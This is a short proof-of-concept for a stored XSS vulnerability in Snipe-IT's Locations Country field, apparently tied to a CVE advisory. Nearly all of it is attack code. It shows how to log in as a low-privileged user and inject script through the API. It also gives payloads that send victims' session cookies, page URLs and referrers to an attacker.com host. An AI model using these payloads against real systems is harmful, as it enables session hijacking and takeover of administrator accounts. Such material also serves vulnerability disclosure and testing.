CVE-2025-65622: Snipe-IT 8.3.4前版本 Locations Country字段存储型XSS漏洞

// CVE-2025-65622 PoC - Stored XSS in Snipe-IT Locations Country Field // This PoC demonstrates how to inject malicious JavaScript via the Country field // Step 1: Login to Snipe-IT with low-privileged account const loginEndpoint = 'https://target-snipeit.com/api/v1/auth/login'; const loginData = { email: '[email protected]', password: 'userpassword' }; // Step 2: Create or update a location with XSS payload in Country field const createLocationEndpoint = 'https://target-snipeit.com/api/v1/locations'; const locationData = { name: 'Test Location', country: '<script>alert(String.fromCharCode(88,83,83))</script>', // Alternative payloads: // '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' // '<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>' }; // Step 3: When admin or other users view the location, XSS executes // The injected script will run in their browser context // Example XSS payload for session hijacking: const sessionHijackPayload = ` <script> fetch('https://attacker.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, referrer: document.referrer }) }); </script> `;